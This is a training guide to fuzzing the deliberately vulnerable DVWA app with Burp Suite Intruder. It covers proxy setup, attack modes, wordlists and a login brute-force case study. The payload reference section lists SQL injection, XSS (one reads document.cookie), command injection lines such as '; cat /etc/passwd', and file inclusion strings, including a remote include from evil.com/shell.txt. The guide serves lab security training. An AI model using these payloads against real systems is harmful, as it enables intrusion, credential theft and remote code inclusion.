Burp Suite Advanced Guide

Comprehensive Fuzzing & Intruder Workflow Manual for DVWA

Part 1: Intercept & Modify Login Requests

Step 1 **Set Up Burp Proxy**

Launch Burp Suite from the Kali Linux terminal (`burpsuite`) or Application Menu.
Navigate to the **Proxy** tab and open the **Intercept** sub-tab.
Click **Open Browser** to launch Burp's pre-configured Chromium browser (or use Firefox with FoxyProxy pointed to `127.0.0.1:8080`).

Step 2 **Capture the Request**

Ensure **Intercept is on** in the Proxy tab.
In the browser, navigate to your DVWA instance (e.g., `http://localhost/dvwa/login.php` or `http://127.0.0.1/dvwa/vulnerabilities/brute/`).
Enter credentials into the login form (e.g., *Username: admin*, *Password: testpassword*) and click **Login**.
The page will hang as Burp intercepts the outgoing HTTP POST or GET request.

Part 2: Introduction & Setup Workflow

Fuzzing in **Damn Vulnerable Web Application (DVWA)** involves systematically sending automated permutations of input payloads to target endpoints using tools like **Burp Suite Intruder**. This technique uncovers application vulnerabilities including SQL Injection, Cross-Site Scripting (XSS), Command Injection, and authentication weaknesses.

01 **Proxy Configuration & Traffic Interception**

Configure your browser proxy to route traffic through Burp Suite (typically `127.0.0.1:8080`). In DVWA, select a security level (Low/Medium) and navigate to the target module. Submit an input form and intercept the HTTP request in Burp's **Proxy > Intercept** tab.

02 **Transfer Request to Intruder**

Right-click within the raw HTTP request in Burp Proxy and select **Send to Intruder** (or press `Ctrl + I`).

03 **Define Payload Positions**

Navigate to **Intruder > Positions**. Click **Clear §** to remove automatic markers. Highlight the targeted parameter values (e.g., `username=§admin§&password=§test§`) and click **Add §** to place precise payload insertion markers.

04 **Select Attack Mode & Load Wordlists**

Choose the appropriate attack type (e.g., *Sniper* for single parameters, *Cluster Bomb* for credential pairs).
In the **Payloads** tab, select *Simple list* and paste custom payload vectors or import wordlists from disk.

05 **Execute Attack & Evaluate Results**

Click **Start Attack**. Handle the Community Edition notification pop-up by clicking **OK**. Analyze response metrics including **Length**, **HTTP Status Code**, and **Response Time** to identify valid exploits or credentials.

Part 3: Burp Suite Intruder Attack Modes

Attack Type	Execution Pattern	Primary Use Cases
Sniper	Uses a single payload set. Iterates sequentially through each marked position one by one.	Single parameter fuzzing (XSS, SQLi, Command Injection).
Battering Ram	Uses a single payload set. Inserts the exact same payload simultaneously into all marked positions.	Testing multi-field inputs that must match identically (e.g., password confirmation).
Pitchfork	Uses multiple payload sets in parallel (List 1 → Pos 1, List 2 → Pos 2).	Testing known paired credentials or synchronized inputs (e.g., `user1:pass1`).
Cluster Bomb	Uses multiple payload sets. Iterates through every possible permutation of all lists.	Brute-forcing unknown credential pairs (e.g., 100 usernames × 100 passwords = 10,000 requests).

Part 4: Wordlist Locations & Repositories

Linux / Kali Linux Paths

- `/usr/share/wordlists/` — Standard Kali directory for system wordlists.
- `/usr/share/seclists/` — SecLists repository (installed via `sudo apt install seclists`), containing organized subfolders for `Fuzzing/`, `Passwords/`, `Usernames/`, and `Web-Shells/`.
- `/usr/share/wordlists/dirb/` — DIRB web application fuzzing lists (e.g., `common.txt`).
- `/usr/share/wordlists/rockyou.txt.gz` — Classic password wordlist. Extract using: `sudo gzip -d /usr/share/wordlists/rockyou.txt.gz`.

Windows & Burp Suite Built-In Features

Burp Suite Community/Pro includes built-in lists under **Intruder > Payloads > Payload settings [Simple list] > Add from list...** for usernames, short password sets, and filename fuzzing.

Online GitHub Repositories

- **SecLists:** `https://github.com/danielmiessler/SecLists`
- **FuzzDB:** `https://github.com/fuzzdb-project/fuzzdb`
- **PayloadsAllTheThings:** `https://github.com/swisskyrepo/PayloadsAllTheThings`

Part 5: Comprehensive Payload Reference Manual

SQL Injection (SQLi) Vectors

```
'
' OR '1'='1
' OR 1=1--
' OR 1=1#
" OR "1"="1
' UNION SELECT NULL, NULL--
' UNION SELECT 1, version()#
1' AND 1=2--
```

Cross-Site Scripting (XSS) Vectors

```
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(document.cookie)</script>
'"><img src=x onerror=alert(1)>
javascript:alert(1)
```

Command Injection Vectors

```
; ls -la
| ls -la
&& ls -la
|| ls -la
; cat /etc/passwd
`id`
$(id)
```

File Inclusion (LFI / RFI) Vectors

```
../../../../etc/passwd
../../../../../../../../../etc/passwd%00
..\..\..\..\..\..\..\.. oot.ini
php://filter/convert.base64-encode/resource=index.php
http://evil.com/shell.txt
```

Part 6: Analysis & Result Identification

To identify successful exploits or valid credentials during a fuzzing attack, look for structural anomalies in the response table:

> **1. Response Length Anomaly (Primary Metric):** Failed responses generally yield identical byte counts (e.g., `4836` or `4837` bytes). Successful payloads alter the response page structure (e.g., rendering a dashboard, error stack, or user session greeting), resulting in a noticeably different length (e.g., `4879` bytes).

> **2. Practical Case Study (DVWA Brute Force):**
> In an automated attack against the DVWA Brute Force module, standard incorrect passwords returned response

> lengths of **4836–4837** bytes. Payload #5 (`password`) yielded a response length of **4879** bytes. Inspecting the response tab confirmed a successful login message (*"Welcome to the password protected area"*).

Payload Identifier	Response Length	HTTP Status	Evaluation / Result
`' OR 1=1#`	4836 bytes	200 OK	Invalid password (SQLi comment syntax treated as raw input on password field)
`hello`	4837 bytes	200 OK	Failed authentication attempt
`12345678`	4837 bytes	200 OK	Failed authentication attempt
`password`	**4879 bytes**	**200 OK**	**SUCCESSFUL LOGIN DETECTED**
`bye`	4837 bytes	200 OK	Failed authentication attempt

Part 7: SQL Payload Analysis & Mechanics

- **`' OR 1=1#`:** Optimal for MySQL / MariaDB (DVWA standard). The single quote breaks out of string parameters, `OR 1=1` forces a true condition, and `#` comments out the remaining SQL query.
- **`' OR 1=1--`:** Standard ANSI SQL comment syntax (requires a space after `--` in MySQL). Best for cross-database target testing.
- **`' UNION SELECT 1, version()#`:** Used for data extraction. Appends results from database functions to the application output. Requires matching column counts with the original query.
- **`1' AND 1=2--`:** Used for Blind SQL Injection testing. Forces a false condition to detect logical response variations.